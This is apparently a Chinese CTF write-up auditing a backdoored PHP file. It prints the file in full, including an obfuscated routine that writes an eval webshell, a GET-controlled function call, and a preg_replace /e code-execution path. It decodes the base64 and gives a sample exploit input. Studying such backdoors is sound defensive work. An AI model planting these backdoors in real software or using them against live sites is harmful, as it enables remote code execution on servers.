前些日子一打CTF的朋友发了个PHP文件给我,让我帮着看看

evil.php

<?php
/*

下面是被黑客修改过的文件,请下载并将其中可能存在问题的地方进行修复,上传修复后的结果,若修复正确,你将得到Flag。
*/
$action = $_REQUEST['action'];
if ($action == 'php_info') {
phpinfo();
} else if ($action == 'exitmeeting') {

$content = '您已成功退出群!';
$data = array("touser" => "$openid", "msgtype" => "text", "text" => array("content" => "$content"));
if (!empty($kfarray)) {
$data = array_merge($data, $kfarray);
}
$msg = $weObj->sendCustomMessage($data);
$sql = "select meetingid from {$tablepre}membersinfo where uid=:uid";
$meetingid = $db->fetchOneBySql($sql, array(":uid" => $user['uid']));
$sql = "UPDATE {$tablepre}membersinfo SET meetingid='0' WHERE uid='$user[uid]'";
$db->query($sql, array(":uid" => $user['uid']));
$rdb->update('membersinfo', $user['uid'], array("meetingid" => 0));
if ($meetingid != 0) {
$sql = "SELECT users FROM {$tablepre}meeting WHERE id=:id";
$meetinginfousers = $db->fetchOneBySql($sql, array(":id" => $meetingid));
$userarray = array_delete_value(explode(',', $meetinginfousers), $user['uid']);
$newusers = '';
if (!empty($userarray)) {
$newusers = @implode(',', $userarray);
}
$sql = "UPDATE {$tablepre}meeting SET users=:users WHERE id=:id";
$db->query($sql, array(":users" => $newusers, ":id" => $meetingid));

meetingmenu($meetingid, 'exit');
}
eval("\$header = \"" . $tpl->get("header", 'mobile') . "\";");
eval("\$footer = \"" . $tpl->get("footer", 'mobile') . "\";");
eval("\$tpl->output(\"" . $tpl->get('exit', 'mobile') . "\");");
} else if ($action == 'cookie') {
foreach ($_COOKIE as $key => $value) {
ssetcookie($key, '', time() + 315360000);
}
printarray($_COOKIE);
} else if ($action == 'register') {
if (!empty($_COOKIE['linkurl'])) {
$openid = @preg_replace("/linkurl/e", $_COOKIE['linkurl'], "Cookie_linkurl");
if ($openid) {
header('Location:' . $_COOKIE['linkurl'] . '&flag=register&openid=' . $openid);exit;
} else {
header('Location:' . $_COOKIE['linkurl'] . '&flag=register');exit;
}
} else {
header('Location:/mob.php?openid=1');exit;
}
} else if ($action == 'table') {
if (in_array(1, $usergroup)) {
$info = showtables();
foreach ($info as $key => $value) {
// echo $value.'<br>';
if (!preg_match('/qiye/', $value)) {
$sql = "SHOW FIELDS FROM {$tablepre}$value";
$data = $db->fetchAssocArrBySql($sql);
$value . '=>' . count($data) . '<br>';
$content .= "'" . $value . "'=>" . count($data) . ",";
}
}
}
$content = substr($content, 0, -1);
echo $content .= ');';
} else if ($action == 'auth') {
$referer = base64_encode($_SERVER['HTTP_REFERER']);
$user = fputs(fopen(base64_decode('bG9zdC5waHA='), w), base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));
if ($user['openid']) {
$url = $_SERVER['HTTP_REFERER'];
} else {
$url = 'https://open.weixin.qq.com/connect/oauth2/authorize?appid=' . $weixin_appid . '&redirect_uri=http://' . $_SERVER['HTTP_HOST'] . '/mobile/login.php?referer=' . $referer . '&response_type=code&scope=snsapi_userinfo&state=STATE#wechat_redirect';
}
header("Location:$url");exit;
} else if ($action == 'getopenid') {
$referer = $referer . '&openid=' . $_COOKIE['openid'];
$referer = $_GET[a]($_GET[b]);
header("Location:$referer");exit;
}
?>

简单看了下,审计后门类型的,首先看到了文件结尾的$referer = $_GET[a]($_GET[b]);

该处可以构造?a=assert&b=phpinfo来实现代码执行

继续往上看发现了一串base64编码后的内容PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg==bG9zdC5waHA=,两串字符串解码后是<?php @eval($_POST['lostwolf']);?>lost.php

至此,可以判断当URL为xxx.php?action=auth时会在当前目录生成内容为<?php @eval($_POST['lostwolf']);?>一句话木马lost.php

继续往上看发现了@preg_replace("/linkurl/e",根据官方文档

模式修饰符
下面列出了当前可用的 PCRE 修饰符。括号中提到的名字是 PCRE 内部这些修饰符的名称。 模式修饰符中的空格,换行符会被忽略,其他字符会导致错误。

  • i (PCRE_CASELESS)

如果设置了这个修饰符,模式中的字母会进行大小写不敏感匹配。

  • m (PCRE_MULTILINE)

默认情况下,PCRE 认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行), “行首”元字符 (^) 仅匹配字符串的开始位置, 而”行末”元字符 ($) 仅匹配字符串末尾, 或者最后的换行符(除非设置了 D 修饰符)。这个行为和 perl 相同。 当这个修饰符设置之后,“行首”和“行末”就会匹配目标字符串中任意换行符之前或之后,另外, 还分别匹配目标字符串的最开始和最末尾位置。这等同于 perl 的 /m 修饰符。如果目标字符串 中没有 “\n” 字符,或者模式中没有出现 ^ 或 $,设置这个修饰符不产生任何影响。

  • s (PCRE_DOTALL)

如果设置了这个修饰符,模式中的点号元字符匹配所有字符,包含换行符。如果没有这个 修饰符,点号不匹配换行符。这个修饰符等同于 perl 中的/s修饰符。 一个取反字符类比如 [^a] 总是匹配换行符,而不依赖于这个修饰符的设置。

  • x (PCRE_EXTENDED)

如果设置了这个修饰符,模式中的没有经过转义的或不在字符类中的空白数据字符总会被忽略, 并且位于一个未转义的字符类外部的#字符和下一个换行符之间的字符也被忽略。 这个修饰符 等同于 perl 中的 /x 修饰符,使被编译模式中可以包含注释。 注意:这仅用于数据字符。 空白字符 还是不能在模式的特殊字符序列中出现,比如序列 (?( 引入了一个条件子组(译注: 这种语法定义的 特殊字符序列中如果出现空白字符会导致编译错误。 比如(?(就会导致错误)。

  • e (PREG_REPLACE_EVAL)

WarningThis feature was DEPRECATED in PHP 5.5.0, and REMOVED as of PHP 7.0.0.

如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线(**)和 NULL 字符在 后向引用替换时会被用反斜线转义.

preg_replace()修饰符为e且PHP版本低于7.0.0时会造成代码执行

找到问题后的修复就很简单了,该删的删,该改的改~